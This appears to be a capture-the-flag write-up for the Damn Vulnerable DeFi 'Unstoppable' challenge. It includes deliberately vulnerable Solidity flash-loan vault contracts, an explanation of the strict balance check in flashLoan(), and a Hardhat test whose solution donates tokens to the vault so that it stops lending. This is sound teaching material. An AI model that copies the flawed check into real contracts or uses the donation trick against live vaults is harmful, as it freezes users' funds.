Unstoppable
UnstoppableVault.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "solmate/src/utils/FixedPointMathLib.sol";
import "solmate/src/utils/ReentrancyGuard.sol";
import { SafeTransferLib, ERC4626, ERC20 } from "solmate/src/mixins/ERC4626.sol";
import "solmate/src/auth/Owned.sol";
import { IERC3156FlashBorrower, IERC3156FlashLender } from "@openzeppelin/contracts/interfaces/IERC3156.sol";
/**
* @title UnstoppableVault
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract UnstoppableVault is IERC3156FlashLender, ReentrancyGuard, Owned, ERC4626 {
using SafeTransferLib for ERC20;
using FixedPointMathLib for uint256;
uint256 public constant FEE_FACTOR = 0.05 ether;
uint64 public constant GRACE_PERIOD = 30 days;
uint64 public immutable end = uint64(block.timestamp) + GRACE_PERIOD;
address public feeRecipient;
error InvalidAmount(uint256 amount);
error InvalidBalance();
error CallbackFailed();
error UnsupportedCurrency();
event FeeRecipientUpdated(address indexed newFeeRecipient);
constructor(ERC20 _token, address _owner, address _feeRecipient)
ERC4626(_token, "Oh Damn Valuable Token", "oDVT")
Owned(_owner)
{
feeRecipient = _feeRecipient;
emit FeeRecipientUpdated(_feeRecipient);
}
/**
* @inheritdoc IERC3156FlashLender
*/
function maxFlashLoan(address _token) public view returns (uint256) {
if (address(asset) != _token)
return 0;
return totalAssets();
}
/**
* @inheritdoc IERC3156FlashLender
*/
function flashFee(address _token, uint256 _amount) public view returns (uint256 fee) {
if (address(asset) != _token)
revert UnsupportedCurrency();
if (block.timestamp < end && _amount < maxFlashLoan(_token)) {
return 0;
} else {
return _amount.mulWadUp(FEE_FACTOR);
}
}
function setFeeRecipient(address _feeRecipient) external onlyOwner {
if (_feeRecipient != address(this)) {
feeRecipient = _feeRecipient;
emit FeeRecipientUpdated(_feeRecipient);
}
}
/**
* @inheritdoc ERC4626
*/
function totalAssets() public view override returns (uint256) {
assembly { // better safe than sorry
if eq(sload(0), 2) {
mstore(0x00, 0xed3ba6a6)
revert(0x1c, 0x04)
}
}
return asset.balanceOf(address(this));
}
/**
* @inheritdoc IERC3156FlashLender
*/
function flashLoan(
IERC3156FlashBorrower receiver,
address _token,
uint256 amount,
bytes calldata data
) external returns (bool) {
if (amount == 0) revert InvalidAmount(0); // fail early
if (address(asset) != _token) revert UnsupportedCurrency(); // enforce ERC3156 requirement
uint256 balanceBefore = totalAssets();
if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance(); // enforce ERC4626 requirement
uint256 fee = flashFee(_token, amount);
// transfer tokens out + execute callback on receiver
ERC20(_token).safeTransfer(address(receiver), amount);
// callback must return magic value, otherwise assume it failed
if (receiver.onFlashLoan(msg.sender, address(asset), amount, fee, data) != keccak256("IERC3156FlashBorrower.onFlashLoan"))
revert CallbackFailed();
// pull amount + fee from receiver, then pay the fee to the recipient
ERC20(_token).safeTransferFrom(address(receiver), address(this), amount + fee);
ERC20(_token).safeTransfer(feeRecipient, fee);
return true;
}
/**
* @inheritdoc ERC4626
*/
function beforeWithdraw(uint256 assets, uint256 shares) internal override nonReentrant {}
/**
* @inheritdoc ERC4626
*/
function afterDeposit(uint256 assets, uint256 shares) internal override nonReentrant {}
}
ReceiverUnstoppable.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import "solmate/src/auth/Owned.sol";
import { UnstoppableVault, ERC20 } from "../unstoppable/UnstoppableVault.sol";
/**
* @title ReceiverUnstoppable
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract ReceiverUnstoppable is Owned, IERC3156FlashBorrower {
UnstoppableVault private immutable pool;
error UnexpectedFlashLoan();
constructor(address poolAddress) Owned(msg.sender) {
pool = UnstoppableVault(poolAddress);
}
function onFlashLoan(
address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata
) external returns (bytes32) {
if (initiator != address(this) || msg.sender != address(pool) || token != address(pool.asset()) || fee != 0)
revert UnexpectedFlashLoan();
ERC20(token).approve(address(pool), amount);
return keccak256("IERC3156FlashBorrower.onFlashLoan");
}
function executeFlashLoan(uint256 amount) external onlyOwner {
address asset = address(pool.asset());
pool.flashLoan(
this,
asset,
amount,
bytes("")
);
}
}
Goal
Make the vault stop offering flash loans
Exploit
After digging into the smart contracts, I noticed that there is a flaw into the logic of UnstoppableVault contract, located inside flashLoan() function.
The specific issue is in the following two lines:
uint256 balanceBefore = totalAssets();
if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance(); // enforce ERC4626 requirement
This check will always pass if new tokens are minted to the UnstoppableVault contract, but since we (the player) hold some of the tokens, we can transfer our tokens to the UnstoppableVault contract, and make this check to always fail, therefore no one will be able to get a flash loan.
Solution code
const { ethers } = require('hardhat');
const { expect } = require('chai');
describe('[Challenge] Unstoppable', function () {
let deployer, player, someUser;
let token, vault, receiverContract;
const TOKENS_IN_VAULT = 1000000n * 10n ** 18n;
const INITIAL_PLAYER_TOKEN_BALANCE = 10n * 10n ** 18n;
before(async function () {
/** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
[deployer, player, someUser] = await ethers.getSigners();
token = await (await ethers.getContractFactory('DamnValuableToken', deployer)).deploy();
vault = await (await ethers.getContractFactory('UnstoppableVault', deployer)).deploy(
token.address,
deployer.address, // owner
deployer.address // fee recipient
);
expect(await vault.asset()).to.eq(token.address);
await token.approve(vault.address, TOKENS_IN_VAULT);
await vault.deposit(TOKENS_IN_VAULT, deployer.address);
expect(await token.balanceOf(vault.address)).to.eq(TOKENS_IN_VAULT);
expect(await vault.totalAssets()).to.eq(TOKENS_IN_VAULT);
expect(await vault.totalSupply()).to.eq(TOKENS_IN_VAULT);
expect(await vault.maxFlashLoan(token.address)).to.eq(TOKENS_IN_VAULT);
expect(await vault.flashFee(token.address, TOKENS_IN_VAULT - 1n)).to.eq(0);
expect(
await vault.flashFee(token.address, TOKENS_IN_VAULT)
).to.eq(50000n * 10n ** 18n);
await token.transfer(player.address, INITIAL_PLAYER_TOKEN_BALANCE);
expect(await token.balanceOf(player.address)).to.eq(INITIAL_PLAYER_TOKEN_BALANCE);
// Show it's possible for someUser to take out a flash loan
receiverContract = await (await ethers.getContractFactory('ReceiverUnstoppable', someUser)).deploy(
vault.address
);
await receiverContract.executeFlashLoan(100n * 10n ** 18n);
});
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
const playerTokenBalance = await token.balanceOf(player.address);
await token.connect(player).transfer(vault.address, playerTokenBalance);
});
after(async function () {
/** SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */
// It is no longer possible to execute flash loans
await expect(
receiverContract.executeFlashLoan(100n * 10n ** 18n)
).to.be.reverted;
});
});